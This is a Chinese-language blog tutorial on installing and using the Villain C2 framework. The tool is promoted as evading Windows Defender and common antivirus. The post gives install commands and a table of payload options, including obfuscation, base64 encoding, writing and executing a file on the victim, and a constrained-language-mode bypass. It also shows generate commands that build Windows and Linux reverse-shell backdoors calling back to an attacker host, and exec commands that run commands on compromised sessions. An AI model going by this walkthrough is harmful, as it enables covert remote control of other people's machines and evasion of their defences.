Villain C2框架 多人协作反弹shell工具 支持免杀Windows Defender常见杀毒软件
作者：FancyPig | 发布时间： | 更新时间：
相关阅读
data-postsbox="{"id":24312,"title":"【视频讲解】Havoc C2渗透测试框架初体验","author":"FancyPig","author_id":1,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2022/10/20221007032631373.png","cover_video":"","views":3463,"comment_count":2,"category":"cybersecurity","is_forum_post":false}">{"id":24312,"title":"【视频讲解】Havoc C2渗透测试框架初体验","author":"FancyPig","author_id":1,"cover_image":"https://static.pigsec.cn/wp-content/uploads/2022/10/20221007032631373.png","cover_video":"","views":3463,"comment_count":2,"category":"cybersecurity","is_forum_post":false}
data-postsbox="{"id":6757,"title":"黑客是如何远程控制一台电脑/服务器的？反弹shell了解一下！","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":5793,"comment_count":7,"category":"cybersecurity","is_forum_post":false}">{"id":6757,"title":"黑客是如何远程控制一台电脑/服务器的？反弹shell了解一下！","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":5793,"comment_count":7,"category":"cybersecurity","is_forum_post":false}
data-postsbox="{"id":23900,"title":"【视频讲解】PowerShell中的黑客技术","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":3114,"comment_count":5,"category":"knowledge","is_forum_post":false}">{"id":23900,"title":"【视频讲解】PowerShell中的黑客技术","author":"FancyPig","author_id":1,"cover_image":"","cover_video":"","views":3114,"comment_count":5,"category":"knowledge","is_forum_post":false}
视频讲解
今天我们将继续分享C2框架，本期带来的是Villain框架，实测可以免杀Windows Defender常见的杀毒软件……
图文讲解
效果截图
安装Villain
git clone https://github.com/t3l3machus/Villain
cd ./Villain
pip3 install -r requirements.txt使用方法
基本思路如下
Villain.py [-h] [-p PORT] [-x HOAX_PORT] [-c CERTFILE] [-k KEYFILE] [-u] [-q]每个生成的有效负载只会工作一次。已经使用过的有效负载不能重新用于建立会话。后门旨在作为新的后台进程启动。目前支持的后门类型：
- 适用于 Windows：Powershell
- 对于 Linux：bash
| 参数 | 必需 | 支持的操作系统 | 需要输入值 | 描述 |
|---|---|---|---|---|
| os | 是 | 全部 | 是 | 为 [windows/linux] 生成后门的操作系统类型。 |
| lhost | 是 | 不适用 | 是 | 您的本地 IP 或接口连接回来。 |
| domain | 可选 | 不适用 | 是 | 如果您提供了受信任的证书和 priv_key 文件以使用 SSL 启动 Villain，您可以提供域而不是 lhost。 |
| obfuscate | 否 | Windows | 否 | 自动混淆生成的有效负载。这旨在帮助您，而不是总是为您完成工作。 |
| encode | 否 | Windows | 否 | Base64 对生成的有效负载进行编码。 |
| exec_outfile | 否 | Windows | 是 | 在受害者上提供一个文件路径来编写和执行命令（而不是使用 IEX） |
| constraint_mode | 否 | Windows | 否 | 使生成的负载在 PowerShell 约束语言模式下工作。通过使用此选项，您会牺牲一些 shell 的解码清晰度。 |
案例
譬如我想生成windows的反弹shell
Villain > generate os=windows lhost=eth0 obfuscate
Villain > generate os=windows lhost=192.168.12.36 exec_outfile="C:\Users\\\$env:USERNAME\.local\hack.ps1" encode
譬如我想生成Linux的反弹shell
Villain > generate os=linux lhost=192.168.12.62连接同级服务器
使用 connect 提示命令连接并与另一台运行 Villain 的机器共享您的后门会话。
connect <IP> <CORE SERVER PORT>默认情况下，核心服务器端口是 65001 （您可以 -p 在启动 Villain 时更改它）。
shell命令
使用 shell 提示命令针对会话启动交互式 HoaxShell。
shell <SESSION ID or ALIAS>按 Ctrl + C 或键入 exit 返回到主要的反派提示。
执行命令
使用提示命令从您的文件系统针对会话 exec 执行 引用的命令 或 脚本。
exec </path/to/local/file> <SESSION ID or ALIAS>
exec 'net user;Get-Date' <SESSION ID or ALIAS>标签：远程控制, 免杀, 远控, 反弹Shell, 远程控制电脑, 远程控制系统, 反弹shell原理, 远程控制软件, 远控软件, C2框架, 远控手机软件, 反弹shell的常用命令, 反弹shell什么意思, nc监听反弹shell, 远控免杀论坛, 远控免杀一般能维持多久, 远控免杀官网, 远控免杀教程, 远控免杀源码